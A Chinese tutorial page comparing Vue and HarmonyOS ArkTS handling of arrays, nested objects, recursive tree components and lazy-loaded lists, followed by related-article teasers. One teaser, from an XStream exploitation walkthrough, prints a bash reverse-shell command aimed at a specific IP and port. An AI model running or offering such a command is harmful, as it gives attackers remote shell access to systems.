第三类 引用数据的操作

引用数据类型 又叫复杂数类型, 典型的代表是对象和数组,而数组和对象往往又嵌套到到一起

普通数组和对象的使用

vue中使用for循环遍历
<template><div>我是关于页面<div v-for="item in arr">{{ item.id }}</div></div>
</template><script setup lang="ts">
import { ref } from "vue"let arr = ref([{id:1},{id:2},{id:3}])</script>

思考1: v-for循环的时候 ,不指定key,是否会报错,我这里没有写,也没有报错,大家的项目为什么不写就报错!

        2:v-for 和v-if的优先级 谁高谁低  (需要分版本,不然怎么回答都是错的)

Harmony中使用ForEach循环遍历
@Entry
@Component
struct MyString {@State  list:ESObject[] = [{id:1},{id:2},{id:2}];build() {Column() {ForEach(this.list,(item:ESObject)=>{Row(){Text(`${item.id}`)}})}.height('100%').width('100%')}
}

思考: ForEach中有几个参数,分别表示什么意思

嵌套数组和对象的使用

vue中使用双重for循环遍历
<template><div>我是关于页面<ul v-for="item in arr"><li><span>{{ item.id }}</span> <ul><li v-for="info in  item.list">{{ info.id }}</li></ul></li> </ul></div>
</template><script setup lang="ts">
import { ref } from "vue"let arr = ref([{ id: 1, list: [{ id: 1.1 }] }, { id: 2, list: [{ id: 2.1 }] }, { id: 3, list: [{ id: 3.1 }] }
])</script>

效果

Harmony中使用双重ForEach处理
interface  ListModel{id:number,list?:ListModel[]
}
@Entry
@Component
struct MyString {@State  list: ListModel[]= [{id:1,list:[{id:1.1}]},{id:2,list:[{id:2.1}]},{id:3,list:[{id:3.1}]}];build() {Column() {ForEach(this.list,(item:ESObject)=>{Column(){Text(`${item.id}`)ForEach(item.list,(info:ListModel)=>{Column(){Text(""+info.id)}})}})}.height('100%').width('100%')}
}

效果

思考:数据类型为什么要这么设计  

递归组件的使用

vue中使用递归组件

先声明一个组件(注意处理递归的出口)

<template><!-- 树节点组件 --><div class="tree-node"><!-- 当前节点 --><div class="node-label" @click="toggleExpand":style="{ paddingLeft: depth * 20 + 'px' }"><span v-if="hasChildren" class="toggle-icon">{{ isExpanded ? '▼' : '►' }}</span>{{ node.name }}</div><!-- 递归渲染子节点 --><div v-show="isExpanded && hasChildren" class="children"><TreeNodev-for="child in node.children":key="child.id":node="child":depth="depth + 1"/></div></div>
</template><script setup>
import { ref, computed } from 'vue';const props = defineProps({node: {type: Object,required: true},depth: {type: Number,default: 0}
});// 控制展开/折叠状态
const isExpanded = ref(props.depth === 0); // 默认展开第一级// 计算是否有子节点
const hasChildren = computed(() => {return props.node.children && props.node.children.length > 0;
});// 切换展开状态
function toggleExpand() {if (hasChildren.value) {isExpanded.value = !isExpanded.value;}
}
</script><style scoped>
.tree-node {font-family: 'Segoe UI', sans-serif;cursor: pointer;user-select: none;
}.node-label {padding: 8px 12px;border-radius: 4px;transition: background-color 0.2s;
}.node-label:hover {background-color: #f0f7ff;
}.toggle-icon {display: inline-block;width: 20px;font-size: 12px;
}.children {margin-left: 8px;border-left: 1px dashed #e0e0e0;transition: all 0.3s;
}
</style>

父页面中使用

<template><div class="tree-container"><TreeNode v-for="item in treeData" :key="item.id" :node="item" /></div>
</template><script setup>
import TreeNode from '../components/TreeNode.vue';
import  {ref} from "vue"// 树形数据
const treeData = ref([{id: 1,name: '前端技术',children: [{id: 2,name: 'JavaScript',children: [{ id: 3, name: 'ES6 特性' },{ id: 4, name: '异步编程' }]},{id: 5,name: 'Vue.js',children: [{ id: 6, name: 'Vue 3 新特性' },{ id: 7, name: '高级用法',children: [{ id: 8, name: '递归组件' },{ id: 9, name: '渲染函数' }]}]}]},{id: 10,name: '后端技术',children: [{ id: 11, name: 'Node.js' },{ id: 12, name: 'Python' }]}
]);
</script><style>
.tree-container {max-width: 400px;margin: 20px;padding: 15px;border: 1px solid #eaeaea;border-radius: 8px;
}
</style>

效果

Harmony中使用递归组件
第一步声明一个递归的数据格式(特别重要)
interface TreeNode {id: number;name: string;children?: TreeNode[];
}
第二步声明组件
@Component
struct TreeNodeComponent {@Prop node: TreeNode;@Prop expand: boolean = false;build() {Column() {Row({ space: 5 }) {if (this.node.children && this.node.children.length > 0) {Image(this.expand ? $r('app.media.open') : $r('app.media.close')).width(20).height(20).onClick(() => {this.expand = !this.expand;});} else {Image($r('app.media.open')).width(20).height(20);}Text(this.node.name).fontSize(16).fontWeight(500).layoutWeight(1);}.width('100%').padding({ left: 10, right: 10, top: 5, bottom: 5 }).backgroundColor('#f5f5f5').borderRadius(5).margin({ bottom: 5 });if (this.node.children && this.node.children.length > 0 && this.expand) {ForEach(this.node.children, (childNode: TreeNode) => {TreeNodeComponent({ node: childNode });});}}.width('100%').padding({ left: 20 });}
}
第三步使用使用该组件

@Entry
@Component
struct TreeView {@State data: TreeNode[] = [{id: 1,name: '前端技术',children: [{id: 2,name: 'JavaScript',children: [{ id: 3, name: 'ES6 特性' },{ id: 4, name: '异步编程' }]},{id: 5,name: 'Vue.js',children: [{ id: 6, name: 'Vue 3 新特性' },{id: 7,name: '高级用法',children: [{ id: 8, name: '递归组件' },{ id: 9, name: '渲染函数' }]}]}]},{id: 10,name: '后端技术',children: [{ id: 11, name: 'Node.js' },{ id: 12, name: 'Python' }]}];build() {Column() {ForEach(this.data, (node: TreeNode) => {TreeNodeComponent({ node: node });});}.width('100%').height('100%').padding(20).backgroundColor('#ffffff');}
}

效果

列表懒加载

vue中使用滚动事件处理判断使用
<template><div class="container"><header><h1>Vue 列表懒加载</h1><div class="subtitle">滚动到底部自动加载更多内容</div></header><div class="controls"><select v-model="pageSize"><option value="10">每页 10 项</option><option value="20">每页 20 项</option><option value="30">每页 30 项</option></select><input type="number" v-model="scrollThreshold" min="50" max="500" step="50"><label>加载阈值(px)</label></div><div class="list-container" ref="listContainer" @scroll="handleScroll"><!-- 虚拟滚动容器 --><div class="virtual-list" :style="{ height: `${totalItems * itemHeight}px` }"><div v-for="item in visibleItems" :key="item.id"class="item":style="{ position: 'absolute', top: `${item.index * itemHeight}px`,width: 'calc(100% - 20px)'}"><div class="item-index">#{{ item.id }}</div><div class="item-content"><div class="item-title">项目 {{ item.id }} - {{ item.title }}</div><div class="item-description">{{ item.description }}</div></div></div></div><!-- 加载提示 --><div v-if="loading" class="loading"><div class="loader"></div><span>正在加载更多项目...</span></div><!-- 完成提示 --><div v-if="allLoaded" class="end-message">已加载全部 {{ totalItems }} 个项目</div></div><!-- 底部统计信息 --><div class="stats"><div>已加载项目: {{ items.length }} / {{ totalItems }}</div><div>可视项目: {{ visibleItems.length }}</div><div>滚动位置: {{ scrollPosition }}px</div></div><!-- 返回顶部按钮 --><div class="scroll-top" @click="scrollToTop" v-show="scrollPosition > 500"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M7.41 15.41L12 10.83l4.59 4.58L18 14l-6-6-6 6z"/></svg></div></div>
</template><script setup>
import { ref, computed, onMounted, watch } from 'vue';// 基础数据
const items = ref([]);
const loading = ref(false);
const allLoaded = ref(false);
const scrollPosition = ref(0);
const listContainer = ref(null);
const totalItems = 200;
const pageSize = ref(20);
const scrollThreshold = ref(200);
const itemHeight = 100; // 每个项目的高度// 生成随机项目数据
const generateItems = (start, count) => {const newItems = [];const titles = ["前端开发", "后端架构", "数据库设计", "UI/UX设计", "移动应用", "DevOps", "测试案例", "项目管理"];const descriptions = ["这是一个重要的项目,需要仔细规划和执行","创新性解决方案,改变了我们处理问题的方式","使用最新技术栈实现的高性能应用","用户友好界面,提供无缝体验","优化了工作流程,提高了团队效率","解决了长期存在的技术难题","跨平台兼容性优秀的实现方案","获得了用户高度评价的产品功能"];for (let i = start; i < start + count; i++) {newItems.push({id: i + 1,index: i,title: titles[Math.floor(Math.random() * titles.length)],description: descriptions[Math.floor(Math.random() * descriptions.length)]});}return newItems;
};// 加载初始数据
const loadInitialData = () => {items.value = generateItems(0, pageSize.value);
};// 加载更多数据
const loadMore = () => {if (loading.value || allLoaded.value) return;loading.value = true;// 模拟API请求延迟setTimeout(() => {const startIndex = items.value.length;const remaining = totalItems - startIndex;const count = Math.min(pageSize.value, remaining);items.value = [...items.value, ...generateItems(startIndex, count)];if (items.value.length >= totalItems) {allLoaded.value = true;}loading.value = false;}, 800);
};// 处理滚动事件
const handleScroll = () => {if (!listContainer.value) return;const container = listContainer.value;scrollPosition.value = container.scrollTop;// 距离底部还有 scrollThreshold 像素时加载const fromBottom = container.scrollHeight - container.scrollTop - container.clientHeight;if (fromBottom <= scrollThreshold.value) {loadMore();}
};// 计算可视区域的项目
const visibleItems = computed(() => {if (!listContainer.value) return [];const container = listContainer.value;const scrollTop = container.scrollTop;const visibleHeight = container.clientHeight;// 计算可视区域的起始和结束索引const startIndex = Math.max(0, Math.floor(scrollTop / itemHeight) - 5);const endIndex = Math.min(totalItems - 1, Math.ceil((scrollTop + visibleHeight) / itemHeight) + 5);return items.value.filter(item => item.index >= startIndex && item.index <= endIndex);
});// 滚动到顶部
const scrollToTop = () => {if (listContainer.value) {listContainer.value.scrollTo({top: 0,behavior: 'smooth'});}
};// 重置并重新加载
const resetList = () => {items.value = [];allLoaded.value = false;loadInitialData();scrollToTop();
};// 监听pageSize变化
watch(pageSize, resetList);// 初始化
onMounted(() => {loadInitialData();
});
</script><style scoped>
* {margin: 0;padding: 0;box-sizing: border-box;
}body {font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;background: linear-gradient(135deg, #f5f7fa 0%, #c3cfe2 100%);min-height: 100vh;display: flex;justify-content: center;align-items: center;padding: 20px;
}.container {max-width: 800px;width: 100%;background: white;border-radius: 16px;box-shadow: 0 10px 30px rgba(0, 0, 0, 0.15);overflow: hidden;margin: 20px auto;
}header {background: #4a69bd;color: white;padding: 20px;text-align: center;
}h1 {font-size: 2.2rem;margin-bottom: 10px;
}.subtitle {opacity: 0.8;font-weight: 300;
}.controls {display: flex;gap: 15px;padding: 20px;background: #f1f5f9;border-bottom: 1px solid #e2e8f0;flex-wrap: wrap;align-items: center;
}.controls select, .controls input {padding: 10px 15px;border: 1px solid #cbd5e1;border-radius: 8px;background: white;font-size: 1rem;outline: none;
}.controls input {width: 100px;
}.list-container {height: 500px;overflow-y: auto;position: relative;border-bottom: 1px solid #e2e8f0;
}.virtual-list {position: relative;
}.item {padding: 20px;margin: 10px;background: white;border-radius: 10px;box-shadow: 0 4px 6px rgba(0, 0, 0, 0.05);transition: all 0.3s ease;display: flex;align-items: center;border-left: 4px solid #4a69bd;
}.item:hover {transform: translateY(-3px);box-shadow: 0 6px 12px rgba(0, 0, 0, 0.1);
}.item-index {font-size: 1.5rem;font-weight: bold;color: #4a69bd;min-width: 50px;
}.item-content {flex: 1;
}.item-title {font-size: 1.2rem;margin-bottom: 8px;color: #1e293b;
}.item-description {color: #64748b;line-height: 1.5;
}.loading {padding: 30px;text-align: center;color: #64748b;font-size: 1.1rem;display: flex;flex-direction: column;align-items: center;gap: 15px;
}.loader {display: inline-block;width: 40px;height: 40px;border: 4px solid rgba(74, 105, 189, 0.3);border-radius: 50%;border-top-color: #4a69bd;animation: spin 1s ease-in-out infinite;
}@keyframes spin {to { transform: rotate(360deg); }
}.end-message {padding: 30px;text-align: center;color: #94a3b8;font-style: italic;font-size: 1.1rem;
}.stats {padding: 15px 20px;background: #f1f5f9;color: #475569;display: flex;justify-content: space-between;flex-wrap: wrap;gap: 10px;
}.stats div {min-width: 150px;
}.scroll-top {position: fixed;bottom: 30px;right: 30px;width: 50px;height: 50px;background: #4a69bd;color: white;border-radius: 50%;display: flex;align-items: center;justify-content: center;cursor: pointer;box-shadow: 0 4px 10px rgba(0, 0, 0, 0.2);transition: all 0.3s ease;z-index: 100;
}.scroll-top:hover {background: #3d56a0;transform: translateY(-3px);
}.scroll-top svg {width: 24px;height: 24px;fill: white;
}/* 响应式设计 */
@media (max-width: 768px) {.container {margin: 10px;}.list-container {height: 400px;}.stats {flex-direction: column;gap: 5px;}.controls {flex-direction: column;align-items: flex-start;}.controls input {width: 100%;}
}@media (max-width: 480px) {h1 {font-size: 1.8rem;}.list-container {height: 350px;}.item {padding: 15px;flex-direction: column;align-items: flex-start;}.item-index {margin-bottom: 10px;}
}
</style>

需要的地方使用

<template><div><LazyLoadedList /></div>
</template><script setup>
import LazyLoadedList from '../components/LazyList.vue';
</script>

效果

Harmony中使用LazyForEach
class BasicDataSource implements IDataSource {private listeners: DataChangeListener[] = [];private originDataArray: StringData[] = [];public totalCount(): number {return 0;}public getData(index: number): StringData {return this.originDataArray[index];}registerDataChangeListener(listener: DataChangeListener): void {if (this.listeners.indexOf(listener) < 0) {console.info('add listener');this.listeners.push(listener);}}unregisterDataChangeListener(listener: DataChangeListener): void {const pos = this.listeners.indexOf(listener);if (pos >= 0) {console.info('remove listener');this.listeners.splice(pos, 1);}}notifyDataReload(): void {this.listeners.forEach(listener => {listener.onDataReloaded();})}notifyDataAdd(index: number): void {this.listeners.forEach(listener => {listener.onDataAdd(index);})}notifyDataChange(index: number): void {this.listeners.forEach(listener => {listener.onDataChange(index);})}notifyDataDelete(index: number): void {this.listeners.forEach(listener => {listener.onDataDelete(index);})}notifyDataMove(from: number, to: number): void {this.listeners.forEach(listener => {listener.onDataMove(from, to);})}
}class MyDataSource extends BasicDataSource {private dataArray: StringData[] = [];public totalCount(): number {return this.dataArray.length;}public getData(index: number): StringData {return this.dataArray[index];}public addData(index: number, data: StringData): void {this.dataArray.splice(index, 0, data);this.notifyDataAdd(index);}public pushData(data: StringData): void {this.dataArray.push(data);this.notifyDataAdd(this.dataArray.length - 1);}public reloadData(): void {this.notifyDataReload();}
}class StringData {message: string;imgSrc: Resource;constructor(message: string, imgSrc: Resource) {this.message = message;this.imgSrc = imgSrc;}
}@Entry
@Component
struct MyComponent {private data: MyDataSource = new MyDataSource();aboutToAppear() {for (let i = 0; i <= 9; i++) {// 此处'app.media.icon'仅作示例,请开发者自行替换,否则imageSource创建失败会导致后续无法正常执行。this.data.pushData(new StringData(`Click to add ${i}`, $r('app.media.icon')));}}build() {List({ space: 3 }) {LazyForEach(this.data, (item: StringData, index: number) => {ListItem() {Column() {Text(item.message).fontSize(20).onAppear(() => {console.info("text appear:" + item.message);})Image(item.imgSrc).width(100).height(100).onAppear(() => {console.info("image appear");})}.margin({ left: 10, right: 10 })}.onClick(() => {item.message += '0';this.data.reloadData();})}, (item: StringData, index: number) => JSON.stringify(item))}.cachedCount(5)}
}

 使用原理:LazyForEach从数据源中按需迭代数据,并在每次迭代时创建相应组件。当在滚动容器中使用了LazyForEach,框架会根据滚动容器可视区域按需创建组件,当组件滑出可视区域外时,框架会销毁并回收组件以降低内存占用。

总结

本文介绍了引用数据类型(对象和数组)在不同框架中的操作方式。在Vue中,通过v-for循环遍历数组和嵌套对象,讨论了key属性的重要性及v-for与v-if的优先级问题。在Harmony中,使用ForEach处理类似数据结构,并详细说明了参数含义。文章还展示了递归组件的实现,包括Vue的树形组件和Harmony的递归组件定义。最后,对比了两种框架下的列表懒加载实现:Vue通过滚动事件处理,Harmony使用LazyForEach和DataSource机制。这些示例展示了不同框架对复杂数据结构的处理方式及其特有的语法

鸿蒙学习班级

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/95219.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/95219.shtml
英文地址,请注明出处:http://en.pswp.cn/diannao/95219.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

VBS 流程控制

一. if else 和 selec case 1. if end if Dim a a2If a0 ThenMsgBox "这里是0"End if 2. if else end if Dim a a2If a0 ThenMsgBox "这里是0"Else MsgBox "这里是2" 弹窗“这里是2”End if 3. if -----elseif-------else-------end…

HCIP项目之OSPF综合实验

一、项目背景随着企业分支机构地理分散化&#xff0c;跨地域网络互联需求激增。MGRE&#xff08;多点 GRE&#xff09;技术因适应动态拓扑、降低链路成本&#xff0c;成为多分支互联的常用方案&#xff1b;OSPF 作为链路状态路由协议&#xff0c;适用于大型网络且支持可变长子网…

class and enmu class

传统枚举与作用域污染及enum class的详细介绍在编程中&#xff0c;枚举&#xff08;enum&#xff09;是一种常见的特性&#xff0c;用于定义一组命名的常量。传统枚举&#xff08;如C中的enum&#xff09;虽然简单易用&#xff0c;但容易导致作用域污染问题。而enum class&…

Numpy科学计算与数据分析:Numpy数组属性入门之形状、维度与大小

Numpy数组属性探索 学习目标 通过本课程的学习&#xff0c;学员将掌握Numpy数组的基本属性&#xff0c;如形状&#xff08;shape&#xff09;、维度&#xff08;ndim&#xff09;和大小&#xff08;size&#xff09;&#xff0c;并能够通过实际操作加深对这些属性的理解。 相…

IF 33.3+ 通过多区域单细胞测序解析肺腺癌的空间和细胞结构

通过多区域单细胞测序解析肺腺癌的空间和细胞结构摘要对于肺腺癌演进过程中单个细胞群的地理空间架构知之甚少。在此&#xff0c;我们对来自5例早期LUAD和14个来自肿瘤的具有明确空间邻近性的多区域正常肺组织的186&#xff0c;916个细胞进行了单细胞RNA测序。我们发现细胞谱系…

【Redis的安装与配置】

一&#xff1a;下载 Redis ✅ 百度网盘分享 &#x1f449; https://pan.baidu.com/s/1xkrLlyUPyM0btCFFpGEhcw?pwdSVIP ✅ 从Github下载 &#x1f449; https://github.com/MicrosoftArchive/redis/releases 二&#xff1a;安装 Redis 1️⃣ 将下载的压缩包文件 解压到 某个文…

TDSQL GTS文件说明

基于时间点恢复&#xff1a;全备xlogGTS文件 在TDSQL的备份恢复体系中&#xff0c;GTS文件是全局时间戳&#xff08;Global Timestamp&#xff09;的存储载体&#xff0c;用于记录事务在分布式环境中的精确执行顺序和时间点 其核心作用体现在以下方面&#xff1a; 1‌。时间基准…

全星APQP数字化平台在汽车零部件行业的深度应用与效益分析

全星APQP数字化平台在汽车零部件行业的深度应用与效益分析 全星研发项目管理APQP软件系统是专为汽车零部件行业打造的数字化研发管理平台&#xff0c;通过深度集成行业核心工具链&#xff0c;实现从产品设计到量产的全程可控。以下为该系统在汽车零部件行业的应用解析&#xf…

网络通信安全:HTTPS协议的密码学基石

引言&#xff1a;从HTTP到HTTPS的安全升级 在网络通信中&#xff0c;数据传输的安全性至关重要。早期的HTTP协议采用明文传输&#xff0c;存在三大安全隐患&#xff1a; 机密性问题&#xff1a;数据在传输过程中可能被窃听&#xff08;如公共Wi-Fi中的监听&#xff09;&#xf…

pip 和 conda,到底用哪个安装?

为什么 pip 有时装不下来而 --prefer-binary 可以&#xff1f;什么是源代码发行版&#xff1f;什么是轮子&#xff1f;conda 和 pip 有什么区别&#xff1f;优先用谁啊&#xff1f;两者适合的场景&#xff08;何时用哪个&#xff09;安装路径&#xff1a;pip / conda 分别装到哪…

bert学习

首先了解一下几种embedding。比如elmo就是一个embedding模型。one-hot编码只能实现one word one embedding&#xff0c;而我们的elmo能实现one token one embeddingElmo是基于双向LSTM&#xff0c;所以每个词其实会有正向和反向两个预测结果&#xff0c;那么我们用哪个呢&#…

Java安全-组件安全

一、Xstream启动环境并访问接下来我们构造反弹shell语句&#xff0c;bash -i >& /dev/tcp/8.152.2.86/9999 0>&1&#xff0c;紧接着对其进行base64编码。接下来使用命令即可首先开启监听接下来执行命令接下来抓包对其进行payload构造即可紧接着回去查看回显发现成…

【10】微网优联——微网优联 嵌入式技术一面,校招,面试问答记录

微网优联——微网优联 嵌入式技术一面&#xff0c;校招&#xff0c;问答记录 1. 2 分钟简单自自我介绍2. 问一遍笔试题目3. IP地址在哪个层4.手动配置过IP地址吗?要配哪几个&#xff1f;5. ARP 是域名找IP地址还是IP地址找域名?6. Linux、计算机网络、操作系统掌握的怎么样&a…

C#使用EPPlus读写Excel

依赖EPPlus 获取依赖可以阅读:Nuget For Unity插件介绍_nugetforunity-CSDN博客 可以参阅该篇快速入门:在Unity中使用Epplus写Excel_unity epplus-CSDN博客 下面是我封装的几个方法: 要在合适的时机配置许可证,比如你的工具类的静态函数.建议使用版本7.7.1 #region Excel封装,…

高性能Web服务器

一、Web服务基础介绍 1.1、互联网发展历程 1993年3月2日&#xff0c;中国科学院高能物理研究所租用AT&T公司的国际卫星信道建立的接入美国SLAC国家实验室的64K专线正式开通&#xff0c;成为我国连入Internet的第一根专线。 1995年马云开始创业并推出了一个web网站中国黄…

《算法导论》第 16 章 - 贪心算法

大家好&#xff01;今天我们来深入探讨《算法导论》第 16 章的核心内容 —— 贪心算法。贪心算法是一种在每一步选择中都采取在当前状态下最好或最优&#xff08;即最有利&#xff09;的选择&#xff0c;从而希望导致结果是全局最好或最优的算法。它在许多优化问题中都有广泛应…

Redis面试精讲 Day 18:Redis网络优化与连接管理

【Redis面试精讲 Day 18】Redis网络优化与连接管理 开篇 欢迎来到"Redis面试精讲"系列第18天&#xff0c;今天我们将深入探讨Redis网络优化与连接管理技术。在分布式系统中&#xff0c;Redis的网络性能和连接管理直接影响整个系统的响应速度和稳定性。掌握这些优化…

Centos8系统在安装Git包时,报错:“没有任何匹配: git”

报错类型&#xff1a; sudo dnf install git Repository AppStream is listed more than once in the configuration Repository BaseOS is listed more than once in the configuration Repository extras is listed more than once in the configuration Repository fasttrac…

glide缓存策略和缓存命中

一 缓存策略 1 Glide 的 diskCacheStrategy() 一共有 5 种枚举值&#xff08;DiskCacheStrategy&#xff09;&#xff0c;每种的作用和区别如下&#xff1a;1. DiskCacheStrategy.ALL 作用&#xff1a;同时缓存原始图片&#xff08;原图数据&#xff09;和经过变换&#xff08;…

如何将PDF文档进行高效编辑处理!

PDF文件可以在任何设备上以相同的格式查看&#xff0c;无论操作系统或软件环境如何&#xff0c;可以确保修改后的文档仍然保持原有的布局和格式。它完全免费&#xff0c;下载后双击即可运行&#xff0c;无需安装&#xff0c;使用非常方便。它具备出色的文本编辑功能&#xff0c…